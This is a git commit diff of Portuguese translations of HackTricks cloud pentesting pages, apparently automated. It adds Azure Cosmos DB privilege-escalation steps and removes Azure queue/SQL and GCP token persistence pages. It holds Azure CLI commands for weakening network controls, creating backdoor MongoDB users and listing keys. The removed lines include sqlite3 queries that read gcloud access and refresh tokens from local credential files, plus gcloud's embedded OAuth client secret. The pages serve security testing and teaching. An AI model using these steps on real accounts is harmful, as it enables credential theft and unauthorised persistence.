Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-02-20 23:14:37 +00:00
parent e2d3cdd0a8
commit 3971c5ee48
7 changed files with 73 additions and 197 deletions

View File

@@ -1,29 +0,0 @@
# Az - Persistência do Armazenamento de Filas
{{#include ../../../banners/hacktricks-training.md}}
## Fila
Para mais informações, consulte:
{{#ref}}
../az-services/az-queue.md
{{#endref}}
### Ações: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
Esta permissão permite que um atacante crie ou modifique filas e suas propriedades dentro da conta de armazenamento. Pode ser usada para criar filas não autorizadas, modificar metadados ou alterar listas de controle de acesso (ACLs) para conceder ou restringir acesso. Essa capacidade pode interromper fluxos de trabalho, injetar dados maliciosos, exfiltrar informações sensíveis ou manipular configurações de fila para permitir novos ataques.
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
```
## Referências
- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues)
- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api)
- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,20 +0,0 @@
# Az - SQL Persistence
{{#include ../../../banners/hacktricks-training.md}}
## SQL
Para mais informações, consulte:
{{#ref}}
../az-services/az-sql.md
{{#endref}}
### Técnicas Comuns de Persistência
- Comprometer credenciais SQL ou criar um usuário SQL (habilitando a autenticação SQL, se necessário)
- Atribuir um usuário comprometido como administrador do Entra ID (habilitando a autenticação do Entra ID, se necessário)
- Backdoor na VM (se a VM SQL for utilizada)
- Criar uma regra de FW para manter o acesso ao banco de dados SQL
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,13 +10,26 @@ Para mais informações sobre SQL Database, consulte:
{{#endref}}
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
Com esta permissão, você pode criar ou atualizar contas do Azure Cosmos DB. Isso inclui modificar configurações em nível de conta, adicionar ou remover regiões, alterar níveis de consistência e habilitar ou desabilitar recursos como gravações em várias regiões.
Com esta permissão, você pode criar ou atualizar contas do Azure Cosmos DB. Isso inclui modificar configurações em nível de conta, habilitar ou desabilitar failover automático, gerenciar controles de acesso à rede, definir políticas de backup e ajustar níveis de consistência. Atacantes com essa permissão poderiam alterar configurações para enfraquecer controles de segurança, interromper a disponibilidade ou exfiltrar dados modificando regras de rede.
```bash
az cosmosdb update \
--name <account_name> \
--resource-group <resource_group_name> \
--public-network-access ENABLED
```
```bash
az cosmosdb update \
--account-name <account_name> \
--resource-group <resource_group_name> \
--capabilities EnableMongoRoleBasedAccessControl
```
Além disso, você pode habilitar identidades gerenciadas na conta:
```bash
az cosmosdb identity assign \
--name <cosmosdb_account_name> \
--resource-group <resource_group_name>
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
Com esta permissão, você pode criar ou modificar contêineres (coleções) dentro de um banco de dados SQL de uma conta do Azure Cosmos DB. Contêineres são usados para armazenar dados, e alterações neles podem impactar a estrutura e os padrões de acesso do banco de dados.
```bash
@@ -37,7 +50,7 @@ az cosmosdb sql container update \
--ttl 3600
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
Com esta permissão, você pode criar ou modificar bancos de dados SQL dentro de uma conta do Azure Cosmos DB. Isso permite gerenciar a estrutura do banco de dados e adicionar novos bancos de dados à conta. Embora essa permissão permita a criação de bancos de dados, o uso inadequado ou não autorizado pode resultar em consumo desnecessário de recursos, aumento de custos ou ineficiências operacionais.
Com esta permissão, você pode criar ou modificar bancos de dados SQL dentro de uma conta do Azure Cosmos DB. Isso permite gerenciar a estrutura do banco de dados e adicionar novos bancos de dados à conta. Embora essa permissão possibilite a criação de bancos de dados, o uso inadequado ou não autorizado pode resultar em consumo desnecessário de recursos, aumento de custos ou ineficiências operacionais.
```bash
az cosmosdb sql database create \
--account-name <account_name> \
@@ -55,7 +68,7 @@ az cosmosdb failover-priority-change \
```
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
Com esta permissão, você pode regenerar as chaves primárias ou secundárias para uma conta do Azure Cosmos DB. Isso é tipicamente usado para aumentar a segurança substituindo chaves antigas, mas pode interromper o acesso para serviços ou aplicativos que dependem das chaves atuais.
Com esta permissão, você pode regenerar as chaves primárias ou secundárias para uma conta do Azure Cosmos DB. Isso é tipicamente usado para aumentar a segurança substituindo chaves antigas, mas pode interromper o acesso para serviços ou aplicações que dependem das chaves atuais.
```bash
az cosmosdb keys regenerate \
--name <account_name> \
@@ -118,52 +131,4 @@ az cosmosdb mongodb database create \
--resource-group <resource_group_name> \
--name <database_name>
```
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
Com esta permissão, você pode criar novas definições de função MongoDB dentro de uma conta do Azure Cosmos DB. Isso permite definir funções personalizadas com permissões específicas para usuários do MongoDB.
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
```
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
Com esta permissão, você pode criar novas definições de usuário MongoDB dentro de uma conta do Azure Cosmos DB. Isso permite a provisão de usuários com funções e níveis de acesso específicos aos bancos de dados MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "myUser",
"Password": "mySecurePassword",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -43,12 +43,63 @@ az cosmosdb sql role assignment create \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
### (`Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`)&& (`Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`)
Com esta permissão, você pode criar novas definições de função MongoDB dentro de uma conta do Azure Cosmos DB. Isso permite definir funções personalizadas com permissões específicas para usuários do MongoDB. As funcionalidades de RBAC devem estar habilitadas para usar isso.
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
```
Você pode criar novas definições de usuários MongoDB dentro de uma conta Azure Cosmos DB. Isso permite o provisionamento de usuários com funções específicas e acesso a bancos de dados MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
```
Após isso, um novo usuário é criado dentro do MongoDB, podemos acessá-lo:
```bash
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
```
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
Com esta permissão, você pode recuperar as chaves primária e secundária para uma conta do Azure Cosmos DB. Essas chaves fornecem acesso total à conta do banco de dados e seus recursos, permitindo ações como leituras de dados, gravações e alterações de configuração.
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,90 +0,0 @@
# GCP - Persistência de Token
{{#include ../../../banners/hacktricks-training.md}}
### Tokens de Usuário Autenticados
Para obter o **token atual** de um usuário, você pode executar:
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
Verifique nesta página como **usar diretamente este token usando gcloud**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
Para obter os detalhes para **gerar um novo token de acesso**, execute:
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
Também é possível encontrar tokens de atualização em **`$HOME/.config/gcloud/application_default_credentials.json`** e em **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
Para obter um novo token de acesso atualizado com o **token de atualização**, ID do cliente e segredo do cliente, execute:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
A validade dos tokens de atualização pode ser gerenciada em **Admin** > **Security** > **Google Cloud session control**, e por padrão está definida para 16h, embora possa ser configurada para nunca expirar:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Fluxo de autenticação
O fluxo de autenticação ao usar algo como `gcloud auth login` abrirá um prompt no navegador e, após aceitar todos os escopos, o navegador enviará uma solicitação como esta para a porta http aberta pela ferramenta:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Então, o gcloud usará o estado e o código com um `client_id` (`32555940559.apps.googleusercontent.com`) e **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) codificados para obter os **dados finais do token de atualização**.
> [!CAUTION]
> Note que a comunicação com localhost é em HTTP, então é possível interceptar os dados para obter um token de atualização, no entanto, esses dados são válidos apenas 1 vez, então isso seria inútil, é mais fácil apenas ler o token de atualização do arquivo.
### Escopos OAuth
Você pode encontrar todos os escopos do Google em [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ou obtê-los executando:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
É possível ver quais escopos o aplicativo que **`gcloud`** usa para autenticar pode suportar com este script:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
```
Após a execução, foi verificado que este aplicativo suporta estes escopos:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
é interessante ver como este aplicativo suporta o escopo **`drive`**, o que poderia permitir que um usuário escalasse do GCP para o Workspace se um atacante conseguisse forçar o usuário a gerar um token com esse escopo.
**Verifique como** [**abusar disso aqui**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
### Contas de Serviço
Assim como com usuários autenticados, se você conseguir **comprometer o arquivo de chave privada** de uma conta de serviço, você poderá **acessá-la geralmente pelo tempo que quiser**.\
No entanto, se você roubar o **token OAuth** de uma conta de serviço, isso pode ser ainda mais interessante, porque, mesmo que por padrão esses tokens sejam úteis apenas por uma hora, se a **vítima excluir a chave da API privada, o token OAuth ainda será válido até expirar**.
### Metadados
Obviamente, enquanto você estiver dentro de uma máquina rodando no ambiente GCP, você poderá **acessar a conta de serviço anexada a essa máquina contatando o endpoint de metadados** (note que os tokens OAuth que você pode acessar neste endpoint geralmente são restritos por escopos).
### Remediações
Algumas remediações para essas técnicas são explicadas em [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
### Referências
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
{{#include ../../../banners/hacktricks-training.md}}